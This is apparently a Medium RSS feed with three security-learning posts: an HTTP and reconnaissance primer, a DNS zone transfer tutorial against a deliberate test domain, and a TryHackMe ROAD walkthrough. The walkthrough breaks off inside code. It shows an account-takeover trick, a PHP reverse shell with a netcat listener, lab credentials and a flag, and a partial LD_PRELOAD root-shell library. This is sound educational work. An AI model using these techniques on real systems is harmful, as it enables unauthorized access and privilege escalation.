<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Alaa khalafallah on Medium]]></title>
        <description><![CDATA[Stories by Alaa khalafallah on Medium]]></description>
        <link>https://medium.com/@alaakhalafallah25?source=rss-0300617bdb28------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*JefBn2GdXcS1mvBj</url>
            <title>Stories by Alaa khalafallah on Medium</title>
            <link>https://medium.com/@alaakhalafallah25?source=rss-0300617bdb28------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 23:09:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@alaakhalafallah25/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From HTTP Requests to Web Reconnaissance: Understanding the Foundations of Web Security]]></title>
            <link>https://medium.com/@alaakhalafallah25/from-http-requests-to-web-reconnaissance-understanding-the-foundations-of-web-security-d6514ed58597?source=rss-0300617bdb28------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6514ed58597</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[web-reconnaissance]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Alaa khalafallah]]></dc:creator>
            <pubDate>Sun, 11 Oct 2026 10:49:23 GMT</pubDate>
            <atom:updated>2026-10-11T10:49:23.602Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>As I continue learning about Web Security, I have been reviewing the fundamental concepts that explain how websites communicate, how HTTP requests and responses work, and how security professionals gather information about web applications before conducting a penetration test.</p><p>In this article, I will share my notes on HTTP, request analysis, cookies, sessions, web proxies, and Web Reconnaissance, along with practical examples using common tools.</p><p>The goal is to understand not only which tools are available, but also what they do, how they work, and how they fit into the web security testing process.</p><h3>1. Understanding Web Requests and HTTP</h3><p>Before testing the security of a website, it is important to understand how a web browser communicates with a server.</p><p>This communication follows the <strong>Client-Server Model</strong>, in which one system sends a request and another system processes it and returns a response.</p><ul><li><strong>Client:</strong> A device or application that sends requests, such as a web browser.</li><li><strong>Server:</strong> A system that receives requests and processes them.</li><li><strong>HTTP (Hypertext Transfer Protocol):</strong> A protocol used to exchange requests and responses between clients and servers.</li></ul><p>For example, when you open a website in your browser, the browser sends an HTTP request to the server. The server processes the request and returns a response containing the requested resource, such as an HTML document or JSON data.</p><p>The basic communication flow looks like this:</p><pre>Client  ---- HTTP Request ----&gt;  Server<br>Client  &lt;--- HTTP Response ----  Server</pre><p>HTTP commonly uses port 80, while HTTPS commonly uses port 443. HTTPS adds TLS encryption to help protect communication between the client and the server.</p><h3>How Does a Domain Name Resolve to an IP Address?</h3><p>When we access a website using a domain name such as example.com, the system needs to determine the IP address associated with that domain before it can establish a connection to the server.</p><p>On Linux, one of the places checked during hostname resolution is the local hosts file:</p><pre>cat /etc/hosts</pre><p>This file can contain manually configured mappings between hostnames and IP addresses.</p><p>If no suitable entry is found, the system proceeds through its configured name-resolution mechanisms, which may involve a DNS cache and a DNS resolver.</p><p>When necessary, DNS resolution can involve root DNS servers, but a user’s computer does not necessarily contact a root server directly for every DNS query.</p><p>Once the IP address is resolved, the client can establish a connection and send its HTTP request.</p><h3>2. Analyzing HTTP Requests with curl</h3><p>One of the most useful command-line tools for understanding HTTP communication is curl.</p><p>It allows us to send requests to web servers and inspect their responses without relying on a graphical browser.</p><p>For example:</p><pre>curl -v -i https://example.com/</pre><p>Let’s break down the options:</p><ul><li>-v: Displays detailed information about the connection and request process.</li><li>-i: Includes the HTTP response headers in the output, along with the response body.</li><li>-X: Specifies the HTTP method to use.</li><li>-o: Saves the response body to a specified file.</li><li>-k: Skips TLS certificate verification.</li></ul><p>To save the response body to a file:</p><pre>curl -o response.html https://example.com/</pre><p>To explicitly send a GET request and display the response headers:</p><pre>curl -X GET -i https://example.com/</pre><p>The -k option may be useful in controlled labs with self-signed certificates, but it weakens connection security and should not be used casually.</p><p>Understanding these options makes it easier to inspect web traffic, troubleshoot requests, and analyze server behavior.</p><h3>Understanding HTTP Status Codes</h3><p>When a server processes a request, it usually returns an HTTP status code indicating the outcome.</p><p>HTTP status codes are divided into five main categories:</p><p>Status CodeMeaning1xxInformational responses2xxSuccessful responses3xxRedirection4xxClient-side errors5xxServer-side errors</p><p>Some common examples include:</p><ul><li>200 OK: The request was successful.</li><li>301 Moved Permanently: The resource has been permanently redirected.</li><li>403 Forbidden: The server refuses to fulfill the request.</li><li>404 Not Found: The requested resource could not be found.</li><li>500 Internal Server Error: The server encountered an unexpected condition.</li></ul><p>Status codes provide useful information about application behavior, but a status code alone does not prove that a vulnerability exists.</p><h3>HTTP Methods</h3><p>HTTP methods describe the type of operation a client wants to perform.</p><p>MethodCommon PurposeGETRetrieve a resourcePOSTSubmit data or create a resourcePUTCreate or replace a resource representationDELETERequest the deletion of a resourceOPTIONSDiscover supported communication options</p><p>These methods are not vulnerabilities by themselves. Their security implications depend on how the server implements them, enforces permissions, and validates incoming requests.</p><h3>3. Cookies, Sessions, and Web Proxies</h3><p>After understanding requests and responses, the next step is learning how web applications maintain user state and how security testers inspect communication between browsers and servers.</p><h3>Cookies</h3><p>Cookies are small pieces of data stored by a browser and sent with subsequent requests when their scope and settings permit it.</p><p>They can be used to store user preferences, session identifiers, and other information.</p><p>From a security perspective, cookie attributes such as Secure, HttpOnly, and SameSite can help reduce certain risks when configured appropriately.</p><h3>Sessions</h3><p>HTTP is fundamentally stateless, meaning that each request is independent unless the application implements a mechanism to maintain state.</p><p>Sessions allow applications to associate multiple requests with the same user or interaction.</p><p>In many applications, the server stores session information while the browser holds a session identifier, often in a cookie.</p><p>Protecting session identifiers is important because an attacker who obtains a valid session token may be able to impersonate its owner, depending on the application’s security controls.</p><h3>Web Proxies</h3><p>A web proxy can act as an intermediary between a browser and a web server.</p><p>In web security testing, an intercepting proxy allows testers to inspect HTTP requests and responses, modify selected parameters, and resend requests to observe how the application behaves.</p><p>Some widely used tools include:</p><ul><li><strong>Burp Suite:</strong> A platform for web application security testing that provides request interception, analysis, and replay capabilities.</li><li><strong>OWASP ZAP:</strong> An open-source tool for analyzing and testing the security of web applications.</li><li><strong>FoxyProxy:</strong> A browser extension that helps manage proxy configurations and route browser traffic through tools such as Burp Suite or OWASP ZAP.</li></ul><p>These tools make it easier to examine HTTP headers, cookies, parameters, response codes, and other details that may not be visible in the browser interface.</p><h3>4. Web Reconnaissance</h3><p>Once we understand how web communication works, we can begin exploring the information-gathering phase known as <strong>Web Reconnaissance</strong>.</p><p>The purpose of reconnaissance is to build an initial picture of a target’s publicly visible infrastructure, domain names, technologies, and associated services.</p><p>Reconnaissance is commonly divided into two categories.</p><h3>Passive Reconnaissance</h3><p>Passive reconnaissance involves collecting information from public or third-party sources without directly probing the target’s services.</p><p>Examples include reviewing public domain records, search engine results, and other publicly available information.</p><h3>Active Reconnaissance</h3><p>Active reconnaissance involves directly interacting with the target’s infrastructure.</p><p>Examples include sending HTTP requests, querying DNS servers, and scanning services or ports.</p><p>The distinction depends on how the information is collected. Whether an activity is visible in a target’s logs depends on the specific technique and environment.</p><p>Active reconnaissance should only be performed against systems you own or are explicitly authorized to test.</p><h3>5. WHOIS: Domain Registration Information</h3><p>WHOIS is a query-and-response protocol used to retrieve registration information associated with domain names and certain Internet resources.</p><p>Depending on the registry and available records, WHOIS results may include:</p><ul><li>Registrar information.</li><li>Registration and expiration dates.</li><li>Name servers.</li><li>Registrant information, when publicly available.</li></ul><p>Privacy protection and registry policies may limit the information returned.</p><p>WHOIS is useful during reconnaissance because it helps establish background information about a domain. However, it is not a vulnerability scanner and does not identify security flaws by itself.</p><p>It provides registration-related information rather than proof that a website is vulnerable.</p><h3>6. DNS Reconnaissance</h3><p>The Domain Name System (DNS) is a fundamental part of the Internet. It provides a naming system that allows applications to retrieve information associated with domain names, including IP addresses and mail-server information.</p><p>Several tools can help inspect DNS records, including dig, host, and dnsenum.</p><h3>Using dig</h3><p>To retrieve the name servers associated with a domain:</p><pre>dig example.com NS +short</pre><p>The NS record identifies the name servers associated with the domain.</p><p>To retrieve IPv4 addresses:</p><pre>dig example.com A +short</pre><p>The AAAA record is used to retrieve IPv6 addresses.</p><p>These queries help establish which DNS records are publicly available for a domain.</p><h3>Subdomain Enumeration</h3><p>A subdomain is a name that exists beneath a parent domain.</p><p>For example:</p><pre>example.com<br>blog.example.com<br>api.example.com<br>mail.example.com</pre><p>Different subdomains may host different services, such as a blog, an API, or an email-related service.</p><p>Discovering subdomains helps identify additional assets associated with a target. However, a discovered hostname should not automatically be assumed to belong to the same organization or fall within the authorized testing scope.</p><p>Some commonly used subdomain enumeration tools include:</p><ul><li><strong>Sublist3r</strong></li><li><strong>Amass</strong></li></ul><p>These tools may use different data sources and discovery techniques, so their results can vary. No single tool is guaranteed to identify every existing subdomain.</p><h3>DNS Zone Transfers (AXFR)</h3><p>A DNS zone contains a collection of DNS records managed for a particular domain or portion of the DNS namespace.</p><p>A zone transfer is a mechanism used to replicate DNS records between DNS servers, commonly between primary and secondary servers.</p><p>First, identify the domain’s name servers:</p><pre>dig example.com NS +short</pre><p>In an authorized lab environment, a zone transfer can be tested with:</p><pre>dig AXFR example.com @ns1.example.com</pre><p>Replace example.com with the authorized test domain and ns1.example.com with the appropriate name server.</p><p>If the server permits an unauthorized zone transfer, it may disclose additional DNS records that reveal hostnames or other infrastructure details.</p><p>However, most properly configured DNS servers restrict zone transfers to authorized servers. A failed transfer is therefore normal and does not necessarily indicate a problem.</p><h3>7. Virtual Hosts: Multiple Websites on One IP Address</h3><p>A single server can host multiple websites using the same IP address. This technique is known as <strong>Virtual Hosting</strong>.</p><p>For HTTP, the server can use the Host header to determine which website the client wants to access.</p><p>For HTTPS, Server Name Indication (SNI) can help the server select the appropriate TLS configuration and certificate during the connection process.</p><p>As a result, discovering a server’s IP address does not necessarily reveal every website hosted on it.</p><h3>Discovering Virtual Hosts with Gobuster</h3><p>Gobuster is a command-line tool that supports several enumeration techniques, including virtual host discovery.</p><p>A basic example is:</p><pre>gobuster vhost -u https://example.com -w subdomains.txt</pre><p>The options used here are:</p><ul><li>vhost: Selects virtual host enumeration.</li><li>-u: Specifies the target URL.</li><li>-w: Specifies the wordlist.</li></ul><p>The --append-domain option can be useful when the wordlist contains short names that need the target domain appended to them.</p><p>Virtual host enumeration may reveal websites that are not easily discovered through ordinary DNS queries.</p><p>However, results should be validated carefully. Some servers return similar responses for nonexistent hostnames, which can produce false positives.</p><h3>8. Fingerprinting: Identifying Technologies and Services</h3><p>Fingerprinting is the process of collecting indicators that help identify the software, technologies, or services used by a system.</p><p>In web security, this may include identifying:</p><ul><li>Web server software.</li><li>Content management systems.</li><li>Frameworks and libraries.</li><li>Technologies exposed through HTTP responses.</li><li>Services running on accessible ports.</li></ul><p>Some useful tools include the following.</p><h3>WhatWeb</h3><p>WhatWeb identifies web technologies using indicators found in website responses and other observable characteristics.</p><p>It can help reveal technologies associated with a website, although the accuracy of the results depends on the available indicators.</p><h3>httpx</h3><p>httpx, from ProjectDiscovery, is a tool for probing HTTP services and collecting information such as response status codes, page titles, and technology-related indicators, depending on the options used.</p><p>It is useful for examining a list of URLs or hosts during reconnaissance.</p><h3>AMAP</h3><p>AMAP is a service identification tool that helps identify protocols and services running on network ports.</p><p>It can be useful when the service running on a port is not immediately obvious.</p><h3>Banner Grabbing</h3><p>Banner grabbing involves collecting information disclosed by a service, such as its software name or version.</p><p>For example, an HTTP response may contain a Server header that identifies the web server software.</p><p>However, some servers hide this information, while others return generic or outdated values.</p><p>Identifying a software version does not automatically prove that the system is vulnerable. A proper assessment requires validating the information and checking whether the relevant vulnerability applies to the actual software configuration.</p><h3>9. Web Crawling</h3><p>Web crawling is the automated process of discovering and visiting web pages by following links.</p><p>A typical crawler works as follows:</p><ol><li>It starts with a known URL.</li><li>It retrieves the page content.</li><li>It extracts links from the page.</li><li>It adds eligible links to a queue.</li><li>It repeats the process until it reaches its configured limits.</li></ol><p>Crawling helps map a website’s structure and discover pages that may not be immediately visible from the homepage.</p><h3>Tools Related to Crawling and Reconnaissance</h3><p><strong>Scrapy</strong> is a Python framework for building web crawlers and extracting structured data from websites.</p><p>It can be used to create custom crawling workflows that follow links and collect specific information.</p><p><strong>Recon-ng</strong>, on the other hand, is a reconnaissance framework designed to support information-gathering workflows. It is not a general-purpose web crawler in the same sense as Scrapy.</p><p>Although both tools can be useful during reconnaissance, their primary purposes differ.</p><h3>Crawling vs. Scanning</h3><p>It is important to distinguish between crawling and security scanning.</p><ul><li><strong>Crawling</strong> focuses on discovering pages, links, and website structure.</li><li><strong>Scanning</strong> focuses on identifying services, configurations, or potential security weaknesses.</li></ul><p>These activities can complement each other during a web application security assessment, but they are not interchangeable.</p><h3>10. Putting the Concepts Together</h3><p>The concepts discussed in this article are connected parts of a broader web security workflow.</p><p>A simplified learning path might look like this:</p><p><strong>HTTP Fundamentals → Request and Response Analysis → Web Reconnaissance → DNS and Subdomain Enumeration → Virtual Host Discovery → Technology Fingerprinting → Web Crawling</strong></p><p>The process begins with understanding how clients and servers communicate. We then learn to inspect requests and responses before gathering information about domains, DNS records, subdomains, and exposed services.</p><p>Virtual host discovery can reveal additional websites on a shared server, while fingerprinting helps identify the technologies in use. Crawling then provides a clearer picture of the application’s accessible pages and links.</p><p>This sequence is not mandatory for every assessment. The appropriate workflow depends on the target, the available information, and the scope of authorization.</p><h3>Conclusion</h3><p>Reviewing these concepts has helped me better understand what happens behind a website’s interface.</p><p>Instead of seeing a website as simply a collection of pages, I can now approach it as a system of requests, responses, domain names, services, and technologies that work together.</p><p>One of the most important lessons from this review is that security tools are only as useful as our understanding of their results. Knowing what a tool does, what information it collects, and what its limitations are helps us interpret findings accurately rather than relying on tool output alone.</p><p>This is another step in my journey toward Web Penetration Testing and Offensive Security. I look forward to continuing to practice these concepts, explore web applications, and develop a deeper understanding of how they work and how to assess their security responsibly.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6514ed58597" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DNS Zone Transfer (AXFR): When a Misconfiguration Exposes Your DNS Records]]></title>
            <link>https://medium.com/@alaakhalafallah25/dns-zone-transfer-axfr-when-a-misconfiguration-exposes-your-dns-records-5c85acfcb48d?source=rss-0300617bdb28------2</link>
            <guid isPermaLink="false">https://medium.com/p/5c85acfcb48d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Alaa khalafallah]]></dc:creator>
            <pubDate>Mon, 07 Sep 2026 13:35:58 GMT</pubDate>
            <atom:updated>2026-09-07T13:35:58.718Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>When we talk about DNS security, we often focus on things like DNS spoofing or cache poisoning. However, there is another issue that can expose a large amount of information about an organization’s infrastructure: <strong>misconfigured DNS Zone Transfer</strong>.</p><p>A DNS Zone Transfer is a legitimate mechanism used to replicate DNS records between authoritative DNS servers. The problem occurs when a DNS server is incorrectly configured to allow <strong>unauthorized clients</strong> to request a complete copy of the DNS zone.</p><p>This can expose records such as:</p><ul><li>Subdomains</li><li>Internal hostnames</li><li>IP addresses</li><li>Mail servers</li><li>Nameservers</li><li>Development or testing environments</li></ul><p>The technique commonly associated with a full zone transfer is <strong>AXFR</strong>.</p><blockquote><strong>Important:</strong><em> </em>The commands in this article are demonstrated against<em> </em><em>zonetransfer.me, </em>a domain intentionally provided for DNS security testing.</blockquote><h3>What is DNS?</h3><p>The <strong>Domain Name System (DNS)</strong> translates domain names into IP addresses.</p><p>For example:</p><pre>example.com → 93.184.216.34</pre><p>DNS normally operates over <strong>port 53</strong>, using both UDP and TCP depending on the type of DNS traffic.</p><p>DNS also contains different types of records, such as:</p><pre>A       → IPv4 address<br>AAAA    → IPv6 address<br>MX      → Mail server<br>NS      → Nameserver<br>CNAME   → Alias<br>TXT     → Text information<br>SOA     → Start of Authority</pre><h3>What is a DNS Zone Transfer?</h3><p>A DNS Zone Transfer is a process used to synchronize DNS information between authoritative DNS servers.</p><p>There are two common types:</p><ul><li><strong>AXFR</strong> — Full Zone Transfer</li><li><strong>IXFR</strong> — Incremental Zone Transfer</li></ul><p>AXFR attempts to transfer the entire DNS zone, while IXFR transfers only the changes made since a previous version of the zone.</p><p>In a correctly configured environment, zone transfers should normally be restricted to <strong>authorized secondary DNS servers</strong>.</p><p>The security problem appears when the server allows unauthorized clients to perform an AXFR request.</p><p>Conceptually:</p><pre>Authorized DNS Server<br>        |<br>        | Zone Transfer<br>        ↓<br>Authoritative DNS Server</pre><p>A misconfigured server may instead allow:</p><pre>Unauthorized Client<br>        |<br>        | AXFR request<br>        ↓<br>DNS Server<br>        |<br>        └── Entire DNS Zone</pre><h3>Reconnaissance</h3><p>Before attempting a zone transfer, we first identify the authoritative nameservers for the domain.</p><p>We can use:</p><pre>host -t ns zonetransfer.me</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*PsywrQstREDYgP4Gqfgx-Q.png" /></figure><p>This returns the domain’s authoritative nameservers.</p><p>The important information here is the <strong>NS record</strong>, which tells us which DNS servers are authoritative for the domain.</p><h3>Attempting an AXFR</h3><p>Once we know the nameserver, we can test whether it allows a zone transfer.</p><p>Using host:</p><pre>host -l zonetransfer.me nsztm2.digi.ninja</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*Hach7WlL7RpZu7aW6lZcgg.png" /></figure><p>The -l option requests a zone transfer from the specified nameserver.</p><p>Another common tool is dig:</p><pre>dig axfr zonetransfer.me @nsztm1.digi.ninja</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d_WL5vVCFGfPR9DsqIfBCA.png" /></figure><p>If the server is configured to allow the transfer, the response can contain multiple DNS records belonging to the zone.</p><p>This is the point where a misconfiguration can become an information disclosure issue.</p><h3>Testing a Subdomain</h3><p>DNS configurations can sometimes differ between zones.</p><p>For example:</p><pre>dig axfr internal.zonetransfer.me @intns1.zonetransfer.me</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*5mqsX9w92s4Dmzfdvei5CA.png" /></figure><p>This attempts an AXFR request against the internal.zonetransfer.me zone.</p><p>This demonstrates an important point:</p><p><strong>Finding one DNS server does not necessarily mean that every zone has the same configuration.</strong></p><p>Each zone should be reviewed according to its own configuration and access-control rules.</p><h3>Using nslookup</h3><p>Another way to inspect DNS information is nslookup.</p><p>Start it with:</p><pre>nslookup</pre><p>Then specify that we want NS records:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*rVJtQnxqeiE-0xfuKlz5XQ.png" /></figure><p>This allows us to identify the authoritative nameservers for the domain.</p><h3>Automating the Test</h3><p>Manual testing is useful for understanding what is happening, but security tools can automate DNS reconnaissance and zone-transfer testing.</p><h3>dnsrecon</h3><pre>dnsrecon -d zonetransfer.me -t axfr</pre><p>Where:</p><pre>-d → target domain<br>-t axfr → test for DNS zone transfer</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*v78y5j12oxsZNxjhz1Ir5Q.png" /></figure><p>If the DNS server permits the transfer, dnsrecon can display the records obtained from the zone.</p><h3>dnsenum</h3><p>Another useful reconnaissance tool is:</p><pre>dnsenum zonetransfer.me</pre><p>dnsenum can gather various DNS-related information and may also identify interesting records and nameservers.</p><h3>Why is Zone Transfer Dangerous?</h3><p>At first glance, DNS records may not seem sensitive.</p><p>However, a complete zone can reveal the structure of an organization’s infrastructure.</p><p>For example, instead of discovering only:</p><pre>www.example.com</pre><p>an exposed zone might reveal:</p><pre>www.example.com<br>mail.example.com<br>vpn.example.com<br>dev.example.com<br>staging.example.com<br>internal.example.com<br>git.example.com</pre><p>This gives an attacker valuable information during the reconnaissance phase.</p><p>The issue is therefore not necessarily that the DNS server itself allows code execution.</p><p>The problem is <strong>information disclosure</strong>.</p><p>A successful zone transfer can make it much easier to map an organization’s attack surface and identify systems that may require further security assessment.</p><h3>Is DNS Zone Transfer a Vulnerability?</h3><p>Technically, <strong>zone transfer itself is not a vulnerability</strong>.</p><p>It is a legitimate DNS feature used to synchronize DNS data between authoritative servers.</p><p>The vulnerability is the <strong>misconfiguration that allows unauthorized clients to perform the transfer</strong>.</p><p>A better way to describe the finding is:</p><blockquote><strong>Unauthorized DNS Zone Transfer due to improper access-control configuration.</strong></blockquote><p>It is primarily an <strong>information disclosure / security misconfiguration</strong> issue.</p><h3>Conclusion</h3><p>DNS Zone Transfer is a good example of how a legitimate feature can become a security issue when it is incorrectly configured.</p><p>The key idea is simple:</p><pre>DNS Zone Transfer<br>        +<br>Improper Access Control<br>        ↓<br>Information Disclosure</pre><p>During a penetration test, checking whether unauthorized clients can perform an AXFR request can be an important part of <strong>DNS reconnaissance</strong>.</p><p>From a defensive perspective, DNS administrators should ensure that zone transfers are restricted to authorized secondary DNS servers and that DNS configurations are regularly reviewed.</p><p>Always perform these tests only against systems you own or have explicit permission to assess.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c85acfcb48d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ROAD — CTF Full Walkthrough | TryHackMe]]></title>
            <link>https://medium.com/@alaakhalafallah25/road-ctf-full-walkthrough-tryhackme-b4263693e4f1?source=rss-0300617bdb28------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4263693e4f1</guid>
            <category><![CDATA[roads]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Alaa khalafallah]]></dc:creator>
            <pubDate>Sat, 05 Sep 2026 12:31:39 GMT</pubDate>
            <atom:updated>2026-09-05T12:31:39.681Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/260/1*1sBeWMcgHiWG355y45hfcg.png" /><figcaption>Road TryHackMe Challenge</figcaption></figure><blockquote><strong><em>Platform:</em></strong><em> TryHackMe<br></em><strong><em>Machine:</em></strong><em> ROAD<br></em><strong><em>Difficulty:</em></strong><em> Easy / Medium<br></em><strong><em>Category:</em></strong><em> Web Exploitation / Privilege Escalation</em></blockquote><h3>Introduction</h3><p>In this walkthrough, I’ll demonstrate how I solved the <strong>ROAD</strong> machine on TryHackMe.</p><p>The attack chain was:</p><pre>Recon<br>  ↓<br>Web Enumeration<br>  ↓<br>/v2/admin/login.php<br>  ↓<br>Account Registration<br>  ↓<br>Email Parameter Manipulation<br>  ↓<br>Admin Account Takeover<br>  ↓<br>Unrestricted File Upload<br>  ↓<br>PHP Reverse Shell<br>  ↓<br>www-data<br>  ↓<br>MongoDB Enumeration<br>  ↓<br>Credential Discovery<br>  ↓<br>webdeveloper<br>  ↓<br>sudo NOPASSWD<br>  ↓<br>LD_PRELOAD Privilege Escalation<br>  ↓<br>root</pre><h3>1. Reconnaissance</h3><p>I started with an Nmap scan using service and default-script detection:</p><pre>nmap -sVC 10.114.128.44</pre><p>The scan revealed two interesting open ports:</p><pre>22/tcp open  ssh<br>80/tcp open  http</pre><p>The web server was running:</p><pre>Apache httpd 2.4.41 (Ubuntu)</pre><p>The HTTP title was:</p><pre>Sky Couriers</pre><p>So the first target was the web application running on port 80.</p><h3>2. Directory Enumeration</h3><p>I started by enumerating the web server using Gobuster:</p><pre>gobuster dir -u http://10.114.128.44/ \<br>-w /usr/share/wordlists/dirb/common.txt</pre><p>The scan revealed several interesting paths, including:</p><pre>/assets<br>/phpMyAdmin<br>/v2</pre><p>The /v2 directory looked particularly interesting, so I started investigating the application under it.</p><p>During the enumeration, I discovered an administrative interface at:</p><pre>http://10.114.128.44/v2/admin/login.php</pre><p>This became the main target for the next stage of the attack.</p><h3>3. Creating an Account</h3><p>The application provided a registration functionality.</p><p>I registered a normal account and logged into the application.</p><p>After checking the profile functionality, I noticed that the application exposed an email address associated with the administrator:</p><pre>admin@sky.thm</pre><p>This was an interesting lead because the application appeared to use the email address as part of its account-management functionality.</p><h3>4. Admin Account Takeover</h3><p>I used <strong>Burp Suite</strong> to inspect the requests generated by the profile functionality.</p><p>The interesting part was the request responsible for changing the user’s email address.</p><p>Instead of keeping my own email address, I modified the relevant parameter and changed it to:</p><pre>admin@sky.thm</pre><p>The application accepted the modification.</p><p>The important observation here was that the application did not properly verify whether the authenticated user was actually authorized to associate the administrator’s email address with their account.</p><p>After changing the email, I used the password-change functionality to set a new password.</p><p>I could then authenticate using the administrator’s email address and the new password.</p><p>This resulted in an <strong>administrator account takeover</strong>.</p><h3>5. Finding the File Upload Functionality</h3><p>Once logged in as the administrator, I inspected the profile functionality.</p><p>The administrator profile allowed image uploads.</p><p>I also inspected the page source and found an interesting path:</p><pre>&lt;!-- /v2/profileimages/ --&gt;</pre><p>This suggested that uploaded profile images were being stored under:</p><pre>/v2/profileimages/</pre><p>The important question became:</p><blockquote><em>Is the upload functionality actually restricted to image files?</em></blockquote><p>If the application accepts PHP files and stores them in a web-accessible directory, it could potentially lead to Remote Code Execution.</p><h3>6. PHP Reverse Shell</h3><p>I prepared a PHP reverse shell and configured a listener on my attacking machine:</p><pre>nc -lvnp 4444</pre><p>I then uploaded the PHP reverse-shell file through the profile image upload functionality.</p><p>Because the uploaded file was stored inside the web-accessible:</p><pre>/v2/profileimages/</pre><p>directory, I triggered the uploaded PHP file through the browser.</p><p>The reverse shell connected back to my listener.</p><p>The initial shell was running as:</p><pre>www-data</pre><p>I verified the current user:</p><pre>whoami</pre><p>Output:</p><pre>www-data</pre><h3>7. Getting a Better Shell</h3><p>The initial shell was not fully interactive, so I upgraded it using Python:</p><pre>python3 -c &quot;import pty; pty.spawn(&#39;/bin/bash&#39;)&quot;</pre><p>I now had a more usable shell:</p><pre>www-data@ip-10-114-128-44</pre><h3>8. Finding the User Flag</h3><p>During enumeration, I discovered the webdeveloper home directory:</p><pre>ls /home</pre><p>The directory contained:</p><pre>ubuntu<br>webdeveloper</pre><p>Inside /home/webdeveloper:</p><pre>cd /home/webdeveloper<br>ls</pre><p>I found:</p><pre>user.txt</pre><p>Reading the flag:</p><pre>cat user.txt</pre><p>gave:</p><pre>63191e4ece37523c9fe6bb62a5e64d45</pre><p>So the <strong>user flag</strong> was:</p><pre>63191e4ece37523c9fe6bb62a5e64d45</pre><p>However, I was still www-data, so I continued enumerating the machine.</p><h3>9. Enumerating MongoDB</h3><p>While enumerating running processes, I found that MongoDB was running:</p><pre>ps aux | grep -Ei &#39;mongo|mysql|apache|nginx&#39;</pre><p>Among the results:</p><pre>mongodb ... /usr/bin/mongod --config /etc/mongod.conf</pre><p>I checked the MongoDB configuration:</p><pre>cat /etc/mongod.conf</pre><p>The important configuration was:</p><pre>net:<br>  port: 27017<br>  bindIp: 127.0.0.1</pre><p>More importantly, authentication was not enabled.</p><p>MongoDB itself even warned:</p><pre>Access control is not enabled for the database.<br>Read and write access to data and configuration is unrestricted</pre><p>This meant I could interact with the local MongoDB instance without authentication.</p><h3>10. Enumerating MongoDB Databases</h3><p>I connected to MongoDB and ran:</p><pre>show dbs</pre><p>The databases included:</p><pre>admin<br>backup<br>config<br>local</pre><p>The backup database immediately looked interesting.</p><p>I selected it:</p><pre>use backup</pre><p>Then enumerated its collections:</p><pre>show collections</pre><p>The result was:</p><pre>collection<br>user</pre><p>I inspected the user collection:</p><pre>db.user.find().pretty()</pre><p>Most of the entries looked like ordinary data, but one entry immediately stood out:</p><pre>{<br>    &quot;_id&quot; : ObjectId(&quot;60ae2690203d21857b184a78&quot;),<br>    &quot;Name&quot; : &quot;webdeveloper&quot;,<br>    &quot;Pass&quot; : &quot;BahamasChapp123!@#&quot;<br>}</pre><p>We had discovered credentials for the webdeveloper account.</p><h3>11. Switching to webdeveloper</h3><p>I used the discovered password to switch from www-data to webdeveloper:</p><pre>su - webdeveloper</pre><p>After entering the discovered password, I verified the account:</p><pre>whoami</pre><p>Output:</p><pre>webdeveloper</pre><p>Now that I had a proper user account, I checked its sudo permissions:</p><pre>sudo -l</pre><p>The interesting output was:</p><pre>secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,<br>env_keep+=LD_PRELOAD</pre><pre>User webdeveloper may run the following commands on ip-10-114-128-44:<br>    (ALL : ALL) NOPASSWD: /usr/bin/sky_backup_utility</pre><p>This was the key to the final privilege escalation.</p><h3>12. Privilege Escalation with LD_PRELOAD</h3><p>There were two important pieces of information in the sudo configuration:</p><pre>NOPASSWD: /usr/bin/sky_backup_utility</pre><p>and:</p><pre>env_keep+=LD_PRELOAD</pre><p>NOPASSWD meant that webdeveloper could execute the specified utility as root without entering a sudo password.</p><p>More importantly, LD_PRELOAD was explicitly preserved.</p><p>LD_PRELOAD allows a shared library to be loaded before the normal libraries used by a dynamically linked program.</p><p>I created a malicious shared library that executes a root shell when loaded.</p><p>First:</p><pre>cat &gt; /tmp/x.c &lt;&lt;&#39;EOF&#39;<br>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>void _init() {<br>    setuid(0);<br>    setgid(0);<br>    system(&quot;/bin/bash 